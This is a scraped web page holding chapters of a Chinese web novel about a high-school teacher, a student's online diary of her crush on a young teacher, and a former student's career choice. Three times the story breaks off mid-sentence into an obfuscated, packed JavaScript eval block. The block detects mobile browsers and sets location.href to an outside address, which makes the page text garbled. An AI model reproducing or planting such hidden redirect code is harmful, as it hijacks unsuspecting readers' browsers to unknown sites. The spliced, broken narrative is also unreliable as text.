“你上次月考的物理成绩还挺好的,”李知难翻着上次的成绩表,“但是其他科的成绩下降了不少。” 章乐怡回道:“我……本来就擅长物理。” 李知难点了点头:“嗯,是。你觉得咱们班同学对新来的吴老师感觉怎么样?” “吴老师,挺好的啊。”章乐怡答道。 “是吗?但是我听有的同学说,吴老师讲课太快了,经常跟不上。”李知难道。 章乐怡立刻反驳:“才没有呢,吴老师讲得一点也不快,好多题都讲得特别细。” “吴老师毕竟是新来的老师,对咱们班情况也还在摸索,难免会有点问题。” “吴老师没有问题,比原来朱老师讲得好多了,您不能因为他年轻就有偏见,我就特别喜欢吴老师!” “你喜欢他什么?”李知难抓住了她话里的把柄。 章乐怡即刻噤声,抿着嘴唇半天不说话。 “他教课好?还是他人好?”李知难又补充道。 章乐怡脸微微发红,“当然是教课好。” 李知难笑道:“吴老师确实人也很好啊,我没别的意思,就是问问你们对换新老师的想法,你也帮我多留意,看看大家有没有其他想法,有则改之,无则加勉嘛。” 章乐怡松了口气。 “行,你回去吧。”李知难故作无意道,“我回头得告诉吴老师女朋友一声,说学生们都夸他。” 章乐怡停了脚步,没有转过身,轻声问道:“吴老师有女朋友啊?” “当然啦,挺恩爱的呢。”李知难回,“嗨,我跟你们学生说这个干什么,你回去吧。” 曲子格在忙篮球比赛,此时正一头汗地监督着学生练习。阳光斜斜地洒在她身上,一头干练的短发沁着汗水,李知难叹了口气,停下了走过去的脚步。 “李老师。”身后传来唤她的声音。 李知难不回头也知道是谁。音乐剧进入排练期,他每周二周五下午一定会出席。李知难应了声:“嗯,来了。”便准备走,没想到被他拦住了脚步。 “我有件事,我不知道该不该跟您说。”他的话分外谨慎。 “那就别说了。”李知难答道。 “对不起,李老师,我表达得不太清楚,”李北辰下意识道歉,“是关于您班学生的。” 李知难像是被拿捏了软肋,回头问道:“他们怎么了?” “还是去礼堂小办公室说吧,这里不太方便。”他回道。 李知难小声嘟囔:“你最好是真有事。” 前面离她一米多远的人竟然还是听到了,温声回道:“是真的。” 二人来到礼堂,李北辰却绕了一圈,走向了后们,李知难本有些犹豫,看着里面热火朝天的排练,也跟着他向侧面楼梯走去。 小办公室格外安静,李北辰刚拧动门把手,便听到里面传来的动静,才拉开缝隙的门被关上了。 “还是去那边说吧。”他突然改口道。 李知难上前准备开门,嘴里道:“哪说都一样,就这……” 李北辰的身子突然附了过来,在她耳边低语道:“里面有人。” 李知难被固定在原地。 “李老师,”他的声音压低,道:“我们去那边说吧。” 李知难有些犹豫,但仍旧没有退后。 “是秦梓轩。”他又补充道。 李知难左右思量,松开了手,二人走向了礼堂另一侧的楼梯间中。 “秦梓轩和谁啊?”李知难问道。 春游那天,曲子格给过她同样的消息。 那日的博物馆里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14438008|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,吴思齐带曲子格到了古文物区,这里都是些石头骨头,学生们不感兴趣便也没人往这边来。 吴思齐指着其中的石刀道:“曲老师,你看。” 曲子格不解:“一块石头?” “是刀。” “看着也不怎么锋利。” “那个时代的人还没有那么精密的技术。” “哦。” “但是,这样一把刀,也可以用来捕猎。” “那我们的祖先力气还挺大的。” “你看那个。” “木棍?” “是针。” “能穿透嘛?” “能穿透兽皮。” “那我们的女祖先力气也挺大的。” 两人这么说着,走到了一旁的角落处,曲子格警惕地向里面黑暗的地方巡查了一眼。 “曲老师?” “职业习惯。”曲子格解释,“一般这样的地方,经常有学生……那个……就是习惯了。” “制止吸烟也是曲老师的习惯吗?” “算是吧。” 二人这样走走看看,再无搭话。 恰巧在走出这片展区的时候,原本昏暗的光线渐强,似乎是象征着时空的发展,社会的迭代带来的新气象,曲子格停住了脚步,看向了吴思齐身后,虽然光线不佳,但是她也一眼看出是两个学生在那里亲吻,高高大大的男生将怀里的女孩遮挡得严实,若是别人也许她还犹豫些,可那个男生她每天放学后都会在篮球场上见到。 是秦梓轩。 她还没来得及走过去看看另一个大胆的孩子是谁,吴思齐突然开口道:“曲老师,你能做我女朋友吗?” 被爱情冲昏了头脑的曲子格那日没来得及一探究竟,但是今天这两个人有点太大胆了。 李知难道:“我知道你是想给孩子们留面子,但是这是原则问题,我还是得处理。” 李北辰道:“我明白,这是您的工作。” “那个女孩是谁?” “您不是都猜到了吗?” 李知难点了点头,道:“说你的事吧,怎么了?” “现在开口可能不是个好时机,但是我们需要一个B角主演,也就是替补,以防万一的,我本来是想问一下您班学生秦梓轩的意见,但是他可能对我有情绪,所以我才来找您的。” 李知难道:“这个还得征求他自己意见,但是你也看到了,他现在身上事还挺多的,未必能有精力去做。” “好。” “还有别的事吗?” “李老师,”他道,“谈恋爱是什么罪过吗?” 李知难:“你想替秦梓轩求情?” “只许您替他求情,我不能吗?” “我是老师,这是我的工作。”言下之意便是,你又算老几? “上次奚西把您对暗恋的看法跟我和亦童说了一下,亦童觉得挺受用的,颇有启发。” 李知难有种被人当面拆穿的尴尬,小声道:“随便说说的。” “李老师又没暗恋过别人,怎么对别人心里的想法理解得那么多呢?” “我瞎说的。” “要不是从小就认识您,我都以为您心里也有一个爱而不得的人了。” “李北辰,我还有工作,你要是没事的话,我就不跟你聊这些闲话了。” 李北辰道:“我这不算是闲话,算是正事。” “暗恋是正事?” 李北辰从口袋里翻出了手机:“您自己瞧瞧。” 李知难顺着他手里的内容一路看下去,顿时脸色大变。“这事,你跟别人说过吗?” 李北辰摇头。 “你怎么发现的?” “我……偶尔看到的。” “你确定这是她?” “您最好在事情没闹大前和她聊聊,现在的网络很可怕,不是她一个女生能承受得住的。” 19. 师生恋 李知难将章乐怡叫到了办公室。 看着手机里的内容,章乐怡脱口而出道:“老师,这事能不能别告诉我家长。” 李知难无奈摇头,道:“这就是你最害怕的?被你家长知道?” 章乐怡点头。 李知难才意识到,眼前的女生压根没有考虑过更大的利弊,在她的世界里,闹到家长那里就算是顶天了,全然不知在当下的社会,网络舆论远比爱她的父母可怕许多。 “你得把这个账号注销了。”李知难道。 与其说这是微博,倒不如说这是一个女孩的恋爱日记,她为他的喜怒哀乐,她和他的点点滴滴,都被电子存档在这页面中。乍眼望去,不过是小女儿家的情思,但有心人只要仔细瞧,都不难发现这里面男女身份的特别,其中几张模模糊糊的照片,甚至不难将学校的名字,老师的身份拼凑出来。 那些正常的对话与行为,全都变成了暧昧和幻想,在她的世界里,吴思齐就连说句“早上好”,都是眼神里只有她的告白。 目前这个账号已经有几千名粉丝关注。 章乐怡不情愿,眼眶微红:“为什么?” “你们的身份,你的微博内容要是被人大做文章,你想过后果吗?”李知难问道。 章乐怡不服气回道:“网络上好几亿人,谁会在乎我的微博,咱们班好多人都有,廖蒙,尤汐涵这些尖子生也有,您也会让她们都删了吗?” 李知难敲了敲桌子:“网络本来就很复杂,而且也不是可预测的,今天没人在乎,不代表将来没人在乎,她们发的什么我不知道,但是你的这种微博会给你自己和吴老师带来很大的麻烦,你知道吗?” “我又没做什么,我只不过是写自己的感受,我难道没有言论自由吗?” 在教导孩子的过程中,身份差异让孩子们从一开始便站在弱势的一方,因此他们经常喜欢搬些大理论出来,和老师,和父母争辩,为自己壮声势。他们要自由,要公平,要平等,要正义,要一切书本上写明了的社会赋予他们的权利,寄希望于大人能够也按照书本上的章法和他们论论高下。 更多时候,知晓社会潜规则的大人懒得多解释,武断地用几个词语便将他们的少年意气驳斥。 李知难回道:“章乐怡,你现在可能觉得自己委屈,但是你以后长大了就会明白了,事情不像你想的那么简单。” 得不到公平地孩子也总会质问:“为什么你们大人总爱这么说话?” 章乐怡情绪愈发激动:“您也跟我说他有女朋友了,我也没打算做什么,暗恋难道也有罪吗!什么以后就明白了,什么不那么简单,为什么你们大人连个有力的理由都讲不出来,就想让我们什么都听你们的?” 李知难看着眼前的女孩,没再开口,转身去后面接了杯水。 就这样过了十几分钟,章乐怡平息了情绪,沉默让她逐渐意识到自己当下的处境,再次央求道:“老师,您能别告诉我家长吗?” 李知难没回答。 “我可以把账号的内容全都隐藏了,以后我也不发了,您能别让我删账号吗?”她又请求道。 李知难仍旧没回答。 章乐怡有些心急,问道:“李老师,电视剧里也经常演高中生恋爱,现在都什么年代了,您真的觉得这种强硬制止的做法合理吗?” 李知难回道:“电视剧里还演杀人放火呢,你也有样学样?” “李老师,我不明白,我也不服气,我要是真早恋了,影响学习了,您说我我还能接受,可是我什么也没影响,我物理成绩甚至更好了,我为什么不能喜欢吴老师?我自己喜欢他是我自己的事,难道也不行吗?我不明白我到底做错什么了?我碍着谁了?”章乐怡激动问道。 李知难看着眼前女孩的执着,思索着回应,最终开口道:“章乐怡,你喜欢一个人,不是错的事,也不是坏的事。它只是一件,在这个时候,不合时宜的事。这么多年了,这么多届学生,每一届都有谈恋爱的,学校知道,老师知道,社会也知道,这就像是夏天的蚊子,该来的时候就会来,没办法彻底消除掉。” 章乐怡表情温和了些,听她说话。 “喜欢上老师,你也不是开天辟地头一个,也不会是最后一个,但是你确定这种喜欢是真的吗?” 章乐怡回道:“当然是真的,我第一次看见吴老师,我就喜欢他,我就是控制不住自己,我就是喜欢他。” “你喜欢他什么?他老师的身份?”李知难反问。 章乐怡想也不想便开始列举自己的理由:“我喜欢吴老师长得帅,喜欢他成熟稳重,喜欢他性格酷酷的,但上课的时候就会变成另外一个人,有反差感。喜欢他有耐心,尤其是我去问他题,他都会特别认真地给我讲,有时候我装作听不懂,他讲两三遍都不会烦。以前朱老师发作业,都是让我去办公室抱,但自从吴老师来,他从来都不让我抱那么沉的作业,都是他帮我抱过来发。还有,我弄坏了实验器材,吴老师自己出钱帮我补,还有,还有好多吴老师对我好的事情,我为什么不能喜欢他?” 李知难想到那天说的暗恋,果然暗恋这件事就是一个人的脑子转动起来就可以成立一段感情的事情。 李知难回道:“他也是这么对二班课代表的,你并不是特殊的那一个。” “我知道,”章乐怡答,“不用您说,您上次不也说了吗,吴老师有女朋友。但是我自己喜欢他不行吗?” 李知难换了个角度道:“那我问你,要是吴老师长得跟朱老师一样,同样做这样的事情,你会喜欢上朱老师吗?” “朱老师都多大了!”章乐怡满脸嫌弃。 “吴老师也比你大很多。” “可……”章乐怡想反驳,又着实找不着理由。 李知难笑着摇了摇头:“章乐怡,你说实话,其实你就是喜欢吴老师那张脸吧?” 章乐怡像是被泥巴糊住了嘴,半天没张开。 “那你的喜欢也挺肤浅的,秦梓轩也挺帅的啊,你怎么不喜欢秦梓轩啊?”李知难没来由地说道。事实上,她的确更希望故事的男主角换个人,毕竟高中生早恋是件平常事,师生恋可就是丑闻了。 章乐怡翻了个白眼:“他那种狗脾气,除了穆婷婷谁会……” 即刻她意识到自己说错了话,噤了声。 李知难见她情绪渐渐放松,便道:“我知道我现在让你别喜欢他,估计你也只能嘴上糊弄糊弄我。但是你知道吗?等你以后离开了这个校园,去见识了更大的世界,到时候就算我让你喜欢他,你也不会喜欢他了。” “您凭什么替我做决定啊?”章乐怡不赞同。 “因为我见多了啊,”李知难回答,“你们这代的孩子呢,见多识广,从小泡在网上长大的,什么新鲜事都见过,什么道理都听过。所以今天我索性跟你说说道理,首先,也是最重要的一点,你的喜欢会给你自己和吴老师带来麻烦。如果你的微博被别人看见,吴老师会被泼一身脏水,洗也洗不清。你也会被人指指点点,一旦你们的真实身份曝光,你自己想想被成千上万的人追着骂这件事,你能不能承受。所以你的微博账号,必须要删,这是原则问题。 其次,你今年16岁,我可以把你当作大人一样平等地和你聊一下关于爱情的话题。 我一直相信一个说法,女性是理性的,这是刻在我们DNA里的。无论现在社会的舆论如何描述女性的感性和情绪化,但从洞穴时刻开始,女性寻找男性,就是寻找延续生存的办法。而男性寻找女性,不过是释放欲望。你看,爱情在进化初期的时候,就天然有这样的差别。所以,我们这段对话的前提我需要你理性一点,我相信你是有能力做到的。 接下来我们再说爱情。你不喜欢我的过来人理论,因为这三个字就把所有理由都盖过去了,那这样,我给你掀开来讲。作为比你大很多的人,经历过比你多很多事情的人,我明白爱情是件美好的事情,它是一种上天赋予人类的神圣感情,让你在亿万人中,寻找那个独一无二的他。就像我说的,爱是没错的。但是你是学过生物和化学的,归根结底,爱的本质是荷尔蒙,是内分泌,是多巴胺,并不是什么真实能够触碰的东西。它会来,就会走,美好是美好,残酷也是残酷。 当下的冲动可能让你看不到它残忍的那一面,但是你必须要考虑,以你现在的身份,你现在的能力,你可以经受住这份残忍吗?因为洪水冲过来的时候,山未必会塌,树枝却一定会断。你喜欢吴老师,你能承受这件事的后果吗?这件事一旦公开,吴老师的工作就没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14438009|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有了。失业的人是谈不上成熟稳重的,他饭都吃不上了,更谈不上酷不酷,只有颓废和气馁,一个胡子拉碴,意志消沉的中年人,每个月三千块工资讨生活,你觉得你会爱这样的他吗? 如果你不能,那其实你爱的也不是他。因为刚才你提到的故事里,没有一样是他单独拥有的。每一个老师都能认真给你讲题,帮你抱作业本,帮你出坏掉的实验器材钱,这对我们来说,举手之劳。是你自己要把别人的举手之劳,变成喜欢他的原因,那有没有可能,你喜欢的只是一个位置,而恰好吴老师站在了这个位置。你喜欢的究竟是独一无二的吴思齐,还是只是一个好看的男老师?” 章乐怡听着,每一句都想还嘴,却又每一句都还不得。她甚至自己在脑海中都不由思索李知难问的那句话,她喜欢上的究竟是独一无二的吴思齐,还是一个好看的男老师? “乐怡,你的人生还很长,以后还会遇到很多人,经历很多事,爱情是很美好,但爱情是用来点缀人生的,不是支配人生的。你的微博我都看过了,你把自己放到尘埃里去仰视他,因为他的一句夸奖就兴高采烈,因为他的一句鼓励就拼命付出。可你看,你头像上这个跳芭蕾舞的女孩,她多漂亮,你应该学会欣赏这个女孩,她从小坚毅不拔地学习跳舞,她又漂亮又优秀,她站在舞台中间就已经很美了,何必在乎某一个男人能不能学会欣赏她?你的人生在你自己手里,他是过客,以后还会有很多过客,有欣赏你的,有不懂欣赏的,可无论什么时候,都别忘了停下来欣赏自己。我这句话也许有些土,但是只有爱自己,你的人生才是做加法,只为了满足别人,得到别人的认可,就算你再付出再努力,也是在填别人的无底洞。” “让你删,是让你去保护自己。”她语重心长地解释。 半晌后,章乐怡才回道:“李老师,账号我会删的。” 李知难摇了摇头:“现在,立刻,拿手机一条条删除掉,然后把账号注销了。” 章乐怡掏出手机,听话地按照她的要求操作,但是一条条微博,越删越舍不得,眼泪开始涌在眼眶往下流,可那些回忆却像是怎么删也删不干净,那些微博也似乎怎么删也删不完,她的手删得微微发抖,不知道是手麻了还是心麻了。 章乐怡手上的动作没有停,嘴里忍不住道:“李老师,您真的爱过别人吗?” 这问题像是一记拳头,从一个小女孩嘴里毫无防备地打中她,她苦笑答:“爱过啊。” “那您爱的是个什么样的人?” “很优秀的人。”李知难诚实回答。 “那后来呢?”章乐怡好奇问道。 李知难没回答。 后来……他离开了。带着她爱人的能力,一起离开了。 章乐怡离开后,李北辰轻轻敲了敲办公室的门。 李知难抬了抬下巴,示意他坐下。 “你是怎么知道的?”她问。 “排练的时候有学生谈论,恰好听到了。”他答。 李知难长叹了口气,反问道:“怎么,你是想要替她说话?” 李北辰摇了摇头。 “那你什么意思?” 李北辰缓声道:“李老师,教书育人如同栽树,当下播种,日后收获。种树人乘不到凉,是树木繁盛之后,才会明白当日人的苦心,然后替后人遮荫。” 李知难听出他在安慰自己,回道:“我明白教育的滞后性。” “我上学的时候也觉得学的那些东西没什么用,就是国家想出来难为我们的。”李北辰道,“我学习中等,您知道的。” 李知难轻笑。 “成人之后,却突然多了很多好奇心。也有很多吃完亏后学到的教训,实则是学生时期就已经学过的道理。”李北辰道,“人和这个世界的机缘,有早有晚,强求不得。” 李知难意外地看着他,“你……为什么跟我说这些?” “我怕园丁只顾着看手里剪刀剪断的枝条,看不到未来的绿荫葱葱,就把自己误会成刽子手。” 李知难心下莫名的酸,短短几句话几乎将封锁十几年的坚韧轻松融掉大半。 “李老师,”他眼神明亮地看着她,“我也长成了一个很优秀的人。” 她愣住了,半晌回不过神来。 20. 选择 漫长的一周即将画上句号,李知难看着已经空空荡荡的校园,感慨地长叹一口气。 “别叹气,容易老。”曲子格在办公室门口开玩笑教育她。 李知难回头,本想和她聊聊这周发生的事情,但考虑到她和吴思齐刚萌芽的感情,还是忍住了,只问道:“你周末什么计划?” 曲子格笑得得意:“去约会。” 李知难笑着点了点头应道:“那提前祝你愉快吧。” 曲子格上前搂住她的肩膀:“走吧,捎我一段?” “你去哪?” “去约会啊。” “不是周末约吗?” 曲子格看了看表,甜蜜回道:“对我来说,五点以后就是周末了。” 李知难竖了个拇指,道:“行,给我拎包吧,我给你当司机。” 两人出门还没走几步,李知难的手机突然响了起来。 奚西在电话另一头着急道:“知难?能帮我个忙吗?” “出什么事了?”曲子格在旁打探。 奚西回道:“能麻烦你跟我去一趟可能音乐吗?我这东西有点多,我想着能不能借你和你的车帮我一下。” “怎么了?非得现在去吗?”李知难看了看时间,有些犹豫。 “我这边的音响设备出了些问题,陈亦童说他可以帮我看看,但是七八个音响设备有点沉,需要拉过去,他现在走不开,咱们学校又不让外面车进来,我就想到了你……”奚西有些不好意思。 “周末再弄不行吗?”李知难看了看表,皮皮还在等她,不由有些为难。 “陈亦童明天就飞上海了……是不是不太方便啊?没事的,我还是打车去吧,也不麻烦。”奚西方才也是急昏了头脑,听李知难的口气,多少意识到给别人凭添麻烦有些不合适。 “没事,我送你去,我跟你一块搬,你在礼堂吗?”李知难问道。 “对的。” 李知难拍了拍曲子格肩膀,道:“我先去救急,你打个车去约会吧。” “那皮皮怎么办?”曲子格问道。 “我一会儿联系他奶奶,宋乐晚上也有事。”李知难答。 二人挥手告别,李知难接上了奚西和那装了满满一车的设备,前往可能音乐。 奚西这一路都异常紧张,李知难安慰道:“肯定能修好的,你别担心,实在不行学校也有相关的经费,设备老旧换新也是正常的,不是你的错。” 奚西诚实回道:“这个是我烧坏的,我刚才碰掉了变压器和几根线,再接回去的时候,突然就一声响,然后设备就没法用了。” 李知难:“没事的,就算你操作不当,赔点钱就是了,学校也不会太过分的。之前曲子格弄坏了电子仪器,几万块钱的东西,她也就象征性赔了几千块,学校不会不管你的。” “这套设备可不便宜,我一年的工资都赔不起。”奚西回道。 “咱们学校还有这种宝贝?”李知难意外。 “这就是为什么我只敢私下找你,这设备不是咱们学校的。这是校长从可能音乐刷脸刷回来的,听说是他们老总特地看陈校长面子才借给咱们的。”奚西自责道,“都怪我,非眼馋人家的设备,自己又毛手毛脚也不注意。” 约莫四十分钟后,二人来到可能音乐楼下,李知难将车停好,陈亦童已经在电梯口等候多时了。 “走吧,我带你们进去。”陈亦童道,他一把接过箱子,指挥着几个随从的男孩,很有男子气概地拎起向前走。 李知难看了看他,又看了看奚西,总觉得气氛怪怪的。 前台客气地为二人登了记,她们跟着陈亦童进了公司,被带进一间气派非常的调音室。 “这还有钢琴架子鼓?”李知难看着满地的乐器,各种设备,挑了最意外的两个小声问道。 奚西答:“知难,你一会儿没别的事吧?我刚才没多想,不知道是不是给你添麻烦了?” 李知难拍了拍她的手,示意她没事。二人在一旁的沙发上坐下,两位穿制服的女孩给他们拿了水,陈亦童拎着东西不知道跑去了哪里。 半晌,他人仍没回来,二人等了半天,李知难觉得腿都坐麻了,便道:“我去趟洗手间。” “好。”奚西道。 沿着走廊指示牌才走不远,迎面而来几个年轻小伙子,差不多的身高,脖子都上清一色戴着蓝色的工牌。走在最前面的是李北辰。他的头发些微凌乱,看起来一副心力交瘁的样子。周围人仍旧喋喋不休地和他交谈着,他满身疲惫地点头应付,李知难在旁边看着,莫名觉得心里酸了一下。 是不是工作太累了?她心道。每每在学校见他时,总是清风朗月的样子,若不是今天无意看到,还真以为他体面得如同虚构出的人,处处周到完美。原来他也有,这样的一面。 李北辰感觉到不远处的目光,抬头看过去见人是她也满脸诧异。 “北辰,我觉得……”旁边人刚想继续说,只听李北辰轻声道:“先去外面凉亭再说吧。” 他很快将眼神收了过去,像是不认识她一般从走廊处与她擦肩而过。 洗手间内只有负责清扫的阿姨,李知难打听道:“请问,您知道凉亭在哪吗?” 阿姨回道:“就前面直走左拐就是,你要去抽烟吗?” 李知难摇了摇头。 阿姨解释道:“哦,那里是抽烟的地方,你新来的吧?” 李知难没回答,左右思索,脚下还是朝着那边走了过去。 所谓的凉亭是一处悬空的户外长廊,连通的走廊是声控的,当下灭着灯。天已经渐渐昏暗,外面的写字楼映出的灯光倒是将玻璃外凉亭上的景色照得分外清楚,连那几点亮在烟上忽明忽暗的暗红色都异常清晰。 李知难走过去,还没来得及开门,只听里面传来交谈声。 “你傻啊,你不知道她对你的意思?” 李北辰低声道:“不是的。” “她微博那个举动,就快昭告世界了好吗!” “不是的。”李北辰听起来仍旧是温温柔柔。 对面的人突然劈头盖脸道:“我看你小子就是脑子傻了,天上掉这么大一个馅饼都不会接着?你知不知道这代表着什么?你在这儿能有什么前途?老吴是什么人!你碰了他车,他黑你二十万一首的歌,那吃人眨眼吗?去了文诗那里你是元老,以后幕后也好,幕前也罢,过不完的好日子等着你,你在这儿耗什么呢?” “……”李北辰并没有回答。 另一人苦口婆心道:“你不要老想着情怀,就你这破高中音乐剧,加班加点的,图什么?关键还一分钱没有,老吴就吃上你这点了你知道吗?你有能力,应该用在正确的地方。” 李北辰应道:“我知道了,谢谢。” 李知难没再听下去,她沿原路回到房间,看着奚西仍是一脸不安,道:“要是真修不好,那套设备到底得多少钱?” 奚西道:“一个就十几万吧,那几个连在一起……” 她用手比了个数字。 “呃。”她点了点头,本想着凭借吴总和李北辰的关系,找他求情说不定能和上次迈巴赫一样,大事化小,小事化了。没想到上次的大事根本没有变小,只是李北辰代替她付了代价。 “知难,你说,我要不要告诉北辰师哥一声?”奚西突然想到。 “千万别。”李知难急忙制止,欲盖弥彰道:“说不定小陈有办法呢,咱们先等等。” 约莫半个多小时,陈亦童终于回来了,只是空着手。 “音响呢?”奚西问。 “用不了了。”陈亦童摇了摇头。 “不是吧……”奚西自暴自弃地坐在沙发上,甜甜的小脸愁成了苦瓜。 陈亦童看她这般,急忙道:“你先放我这儿吧,别担心,周二之前一定给你想到办法。” “你能有什么办法……”奚西念叨道。 陈亦童莫名其妙道:“奚西,你相不相信我?” 奚西从绝望中抬起头,瞪着大大的眼睛茫然地看他。 “你只要相信我,我就能找到办法。”他像是演电视剧一样,台词说得又热血又莫名其妙。 李知难用手背拍了拍奚西胳膊,奚西带着几分不确信,回道:“那我,相信你?” “周二之前,一定给你修好。”陈亦童拍着胸膛打包票。 奚西讷讷道:“那……谢谢你啊陈亦童。” “你吃饭了吗?我请你们吃饭吧?”陈亦童见事情告一段落,邀请道。 “不用了吧……”李知难答。 “好啊。”奚西同一时间答。 “别客气了,吃食堂而已。”陈亦童象征性地和李知难客套。 李知难:“你们去吧,我家里还有事,我就先走了。” 这种氛围下,就算李知难再没眼色,也能看出自己是个灯泡。 “那我跟你一起走……”奚西道。 “不用不用,你好好谢谢小陈吧,我自己走就行。”她边说边把奚西向另一边推,自己往电梯的方向走去,幸好电梯识趣地开了门,她挥着手赶紧走了进去。 这才忍不住松了一口气。 电梯关闭,对面镜子里折射出她一身疲惫的身影。中年的女老师和她素气端正的衣服,在这个艺术又年轻的地方,显得刻板守旧,她不由觉得这地方的空气都令她浑身不舒服。 十楼,电梯门再次打开,李北辰走了进来,表情毫无意外。 “李老师好。”他问候道。 “你好。”李知难松下的气又再次提了起来。 他径直走她身边站住。 李知难之前听说过一个电梯理论,电梯里四个角,当陌生人进入的时候,会不自觉地站在角落的位置,以求在这狭小的地方有更多的安全距离。 但是李北辰选择站到了她旁边。 “我是送奚西来的,”也许是因为不自在,或者这里是他的地盘,李知难不由地开始解释,“她……找陈亦童……有点事。” “哦。”李北辰并没有关心的意思。 “你这么晚还没下班啊?”她又道。 “公司有点事,就回来了。”他温声答。 “哦。” “李老师,”李北辰看向她,“我有件事想跟您谈谈,可以吗?” “音乐剧的事吗?”李知难问道。 “不是。” “那是……” “毕了业的学生就不算学生了吗?”他问。 “什么?” “我说,毕了业的学生就不算学生了吗?”他重复了一遍。 “算啊。”李知难有些心虚地回。 “那毕了业的学生,能问您些问题吗?” “你有问题要问我?” “嗯。” “我是英语老师,你要问我英语题吗?” “您当年不是说,生活上有问题也可以随时找您吗?” “你生活上有什么问题吗?” “很大的问题。”他平静地回答。 稍后,李知难和李北辰坐在一楼的咖啡厅。 李北辰道:“您知道我为什么会选择现在这个职业吗?” 李知难小声答:“这不是你从小的梦想吗?” 高二英语期末考试,作文题目是描述你的梦想。交了白卷的李北辰被李知难叫到办公室,劈头盖脸一顿骂:“你就算是没想写的,也不能空着,这是英语作文,你脑子想什么呢?” 李北辰低着头不答话。 “我问你话呢!” “我写不出来我的梦想。” “那你编点也行啊!不会写难的职业,写个teacher,写个doctor,你写个什么不行啊?这是考试又不是背景调查,你还非得说实话吗?”李知难气道,“你知不知道你这三十分没有了,直接给咱们班平均分拉下去了?我教的班次次都是前三,你怎么这么不给我做脸!” “我不是不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14448027|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 单词。”李北辰小声道。 “那你这是什么意思!” 李北辰只回道:“对不起李老师,我错了。” 过几日办公室内闲聊时,李知难听到李北辰班主任聊他的情况,道:“光看这孩子,可看不出来他爷爷是院士,爸爸是教授,真是一代不如一代啊。” 李知难想到第一次见李北辰。那时他还小,自己替纪修去开家长会,他躲在角落里,听过办公室内的老师议论同样的话,只不过那时的评价更加恶毒,说他家是黄鼠狼下耗子,一窝不如一窝。还在读大学的李知难正义感爆棚,直接冲进去将那几位老师好好嘲讽一番,笑她们不过是小学老师,反倒对人家院士教授指指点点起来,不自量力。 李知难想了想现在的自己,自嘲和当时那些老师也渐渐没有什么不同。 她本想叫李北辰过来好好劝导,没成想他早一步被班主任叫到了办公室挨呲儿。 “天天就知道听歌,那个MP3跟你命似的,你听这些东西有什么用?高考能给你加分吗?” 李北辰低头不答。 “玩物丧志,你把MP3放我这儿吧,叫你家长来拿。” “这是别人送我的……”李北辰攥着不肯交。 “别人?谁啊?男生女生啊?”班主任态度严肃,“怎么,你这还有早恋的苗头是不是?” 李北辰见走进来的李知难,急忙解释道:“老师我没有!” “MP3!”班主任一声令下,男生不情愿地将东西放到了桌子上。 放学后,李知难拿着替他求情要回来的MP3,递了过去。 操场上吹着和煦的风,没了白日时的燥热。 “里面的歌还都挺好听的。”李知难道。 李北辰有些难以置信,半晌才回道:“李老师,我不是故意不写作文的。我就是觉得,有些不好意思。” “为什么?” “我以后的梦想,是做音乐人。” “这有什么说不出口的吗?”李知难不解。 “在我们家,这是不能说的。”李北辰道,“您不是知道我们家的情况么。” “嗯,高智商人才储备库。”李知难笑道。 李北辰也被她逗笑。 “李北辰,喜欢音乐没什么丢脸的,这说明你是一个能感受到春夏秋冬,花开花落的人,你有很敏感的灵魂,这些都是很难得的品质。” 李北辰第一次鼓足勇气,将自己对未来的幻想分享给他人:“我以后想写歌,写出能恰到好处地表达每一种心情的歌,每一个风景,每一个回忆,我都想把它变成音乐永远地保留下去。” 少年李北辰是这样和她说的。 咖啡厅内,成年的李北辰缓缓道:“可是开始我是不敢的,甚至不敢想。我家里全是名校的高材生,院士爷爷,教授爸爸,好像我以后不研究学问就对不起我家的遗传。当年您跟我说,如果学校是花园,那学生可以是花朵,可以开得短暂鲜艳,可以开得普通长久,可以选择春天开,也可以选择秋天开,什么样子都行。如果开不了花,那也可以做一棵树,做一棵草,不是每个人都要开花。所有人都觉得我喜欢音乐是玩物丧志,但是您跟我说,有喜欢的东西,就比浑浑噩噩地按照别人的喜好过一生强。” 李知难已经忘了那个故事的后半段,她记得当时男孩激动地和自己表达着他的喜好,自己也许象征性地回复了几句,但具体细节早就散落在回忆里,直到眼前的他把这段珍藏的回忆完整地捧在自己面前。 “我现在眼前有一个机会,”李北辰道,“接受了,我可能会有更好的将来,也可能会一败涂地。您觉得我应该接受吗?” “这是人生的大事,不是简单一句话就能做决定的,你应该找家人或者朋友去商量。”李知难道。他不再是那个十几岁的孩子,教导他也再不是自己的工作。 “我怕走错路。”李北辰小声说道。 “人生的路,有谁能担保哪条对,哪条错?”李知难回。 